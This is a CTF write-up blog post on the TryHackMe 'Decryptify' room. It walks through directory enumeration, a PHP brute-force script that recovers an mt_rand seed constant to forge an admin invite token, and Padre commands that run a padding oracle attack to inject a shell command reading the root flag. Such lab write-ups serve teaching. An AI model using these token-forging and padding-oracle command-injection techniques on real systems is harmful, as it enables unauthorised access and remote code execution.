← Back to list

TryHackMe — Decryptify | Writeup

Difficulty: Medium Room: https://tryhackme.com/room/decryptify

Latif Praditya · 2026-04-14 07:32 · 0 claps · 4.2 min read
#ctf-writeup #tryhackme-writeup #tryhackme-walkthrough #ctf-walkthrough #tryhackme-pre-security
Open on Medium ↗

TryHackMe — Decryptify | Writeup

Difficulty: Medium Room: https://tryhackme.com/room/decryptify

Directory Enumeration & Reconnaissance

The engagement begins with a specific target port (1337) already provided. My first instinct was to map out the attack surface by brute-forcing the web directories.

Using Feroxbuster, I went hunting for hidden files and backend endpoints:

feroxbuster -u http://10.48.168.195:1337
200      GET        1l       15w      723c http://10.48.168.195:1337/js/api.js
200      GET       28l       66w     1043c http://10.48.168.195:1337/api.php
200      GET        9l       88w      644c http://10.48.168.195:1337/logs/app.log
301      GET        9l       28w      326c http://10.48.168.195:1337/phpmyadmin

This scan immediately dropped a goldmine of information:

  • /logs/app.log: Application logs left globally accessible — a classic Information Disclosure flaw.
  • /api.php: The API documentation, which required authentication.
  • /js/api.js: The client-side JavaScript handling interactions with the backend.

The most logical starting point was the JavaScript file.

Client-Side Deobfuscation

Looking at /js/api.js, I quickly noticed the code was buried under a heavy layer of obfuscation. This is a common "security by obscurity" tactic developers use to hide sensitive credentials or logic embedded on the client side.

The structure of the script looked something like this:

// 1. Array of scrambled strings
var _0xe43f = ['16OTYqOr','861cPVRNJ','474AnPRwy','H7gY2tJ9wQzD4rS1','5228dijopu','29131EDUYqd','8756315tjjUKB','1232020YOKSiQ','...'];
// ...
// Lots of messy shifting and decoding logic
// ...
// 4. Retrieving the secret
var inviteCode = _0x16b3(0x169);

Instead of manually untangling the shifting logic, I opted for dynamic analysis. I copied the code snippet into my browser’s developer console and added a simple console.log() to print whatever value the final inviteCode variable held.

console.log("%c SECRET CODE IS: " + inviteCode, "color: yellow; background: red; font-size: 24px; padding: 10px;");

Output:

SECRET CODE IS: H7gY2tJ9wQzD4rS1

We extracted what looks like a Master API Key or Invite Code. Now, let’s see what it unlocks.

Reverse Engineering the Token Architecture

Log Analysis & Base64 Tokens

Before rushing to the API documentation, I checked the /logs/app.log file we discovered during enumeration. It revealed some critical past user actions:

2025-01-23 14:34:20 - User POST to /index.php (Invite created, code: MTM0ODMzNzEyMg== for alpha@fake.thm)
2025-01-23 14:38:40 - User POST to /dashboard.php (New user created: hello@fake.thm)

The log disclosed an invite generation event for the email alpha@fake.thm. The code MTM0ODMzNzEyMg== is clearly Base64 encoded. Decoding it gave me an interesting, plain number:

echo "MTM0ODMzNzEyMg==" | base64 -d
# Output: 1348337122

Exposing the PRNG Weakness

Using the Master Token (H7gY2tJ9wQzD4rS1), I authenticated to /api.php. The documentation provided here completely exposed the backend logic used to generate invite tokens.

function calculate_seed_value($email, $constant_value) {
    $email_length = strlen($email);
    $email_hex = hexdec(substr($email, 0, 8));
    $seed_value = hexdec($email_length + $constant_value + $email_hex);
    return $seed_value;
}
$seed_value = calculate_seed_value($email, $constant_value);
mt_srand($seed_value);
$random = mt_rand();
$invite_code = base64_encode($random);

This is textbook bad cryptography. The token is nothing more than a Base64-encoded output from PHP’s mt_rand() function. Crucially, the random number generator is seeded via mt_srand() using a highly predictable formula based on the user's email and a hidden integer ($constant_value).

Since we have the email alpha@fake.thm and the resulting random number 1348337122, we have all the ingredients for a known-plaintext attack to recover the mysterious $constant_value.

Lateral Movement: Brute-Forcing the Seed Constant

I wrote a quick PHP script to simulate the server’s algorithm and brute-force the $constant_value. My ultimate goal was to generate a valid token for admin@fake.thm.

<?php
$alpha_email = "alpha@fake.thm";
$alpha_target_rand = 1348337122; 
echo "[*] Starting Brute Force (Range 0 - 100,000)...\n";
for ($constant = 0; $constant <= 100000; $constant++) {
    $email_length = strlen($alpha_email);
    $email_hex_std = hexdec(substr($alpha_email, 0, 8)); 

    $seed_val = $email_length + $constant + $email_hex_std;
    $final_seed = hexdec((string)$seed_val);
    mt_srand($final_seed);
    if (mt_rand() == $alpha_target_rand) {
        echo "[!!!] JACKPOT!\n";
        echo "[+] Constant Value: $constant \n";
        break;
    }
}
?>

Output:

[!!!] JACKPOT!
[+] Constant Value: 99999

With the constant identified (99999), I plugged it back into the formula to calculate the seed for the admin@fake.thm email. By mirroring PHP's exact hexdec() behavior on strings, I generated the final payload.

[*] Target Email: admin@fake.thm 
[*] Seed Calculation: 14 + 99999 + 44538 = 144551 
[+] FINAL ADMIN CODE: MTgxNDY2MDg5Mw==

Using this forged token, I successfully logged into the Admin Dashboard, which immediately yielded the user flag under the account hello.

Admin Dashboard access achieved via forged token. The user flag is sitting right in the user list.

Privilege Escalation: Exploiting the Padding Oracle

While inspecting the Admin Dashboard, I noticed a strange encrypted parameter in the footer associated with the date.

Ciphertext: 5X9kAuQTtUMosrVlb6/n9i9hAB8uGX1m1e9jHpvXZXw=

Whenever arbitrary encrypted data is passed without strong integrity checks (like an HMAC), it strongly suggests the potential for a Padding Oracle Attack. If the server leaks information about invalid padding when decrypting ciphertexts, an attacker can decipher data and construct forged payloads without ever knowing the encryption key.

Using Padre for Decryption & Command Forging

To exploit this, I utilized an amazing automated tool called Padre.

1. Validating the Oracle

First, I fed the encrypted string into Padre to let it interact with the endpoint and verify the vulnerability.

padre -u 'http://10.48.168.195:1337/dashboard.php?date=$' \
      -cookie 'PHPSESSID=dcrpusklh27ag1md56l9ombfvt' \
      '5X9kAuQTtUMosrVlb6/n9i9hAB8uGX1m1e9jHpvXZXw='
[+] successfully detected padding oracle
[+] detected block length: 8
[!] mode: decrypt
[1/1] date +%Y

Padre successfully decrypted the payload to date +%Y. This is a huge realization — the server decrypts this parameter and passes it directly into a system command! This is unauthenticated Command Injection enabled by a cryptographic flaw.

2. Forging our Payload

Knowing that we have remote code execution (RCE), I used Padre’s encryption mode to forge a ciphertext containing my own command to read the root flag.

padre -u 'http://10.48.168.195:1337/dashboard.php?date=$' \
      -cookie 'PHPSESSID=dcrpusklh27ag1md56l9ombfvt' \
      -enc 'cat /home/ubuntu/flag.txt'
[!] mode: encrypt
[1/1] HTlsB8/Ar+y4gjdECgESheORkEV20jlDC/m3Sc5axuByZ3JlaW5laQ==

3. Execution

I took the generated block of ciphertext, URL-encoded the special characters (+ and =), and pushed it back into the browser's date parameter.

http://10.48.168.195:1337/dashboard.php?date=HTlsB8/Ar%2By4gjdECgESheORkEV20jlDC/m3Sc5axuByZ3JlaW5laQ%3D%3D

Upon refreshing the page, the output of my command — the final root flag — appeared cleanly at the bottom of the dashboard.

The forged ciphertext is decrypted and executed as cat /home/ubuntu/flag.txt, dumping the root flag onto the webpage footer.

Thanks for reading. Follow along for more TryHackMe writeups as I work through the platform. All testing was conducted in an authorized lab environment provided by TryHackMe.


메타데이터
post_id
ab8bfc0ee4f8
slug
tryhackme-decryptify-writeup-ab8bfc0ee4f8
url
https://medium.com/@qr4dity4/tryhackme-decryptify-writeup-ab8bfc0ee4f8
canonical_url
https://medium.com/@qr4dity4/tryhackme-decryptify-writeup-ab8bfc0ee4f8
author_url
https://medium.com/@qr4dity4
status
ok
fetched_at
2026-07-11 23:37:18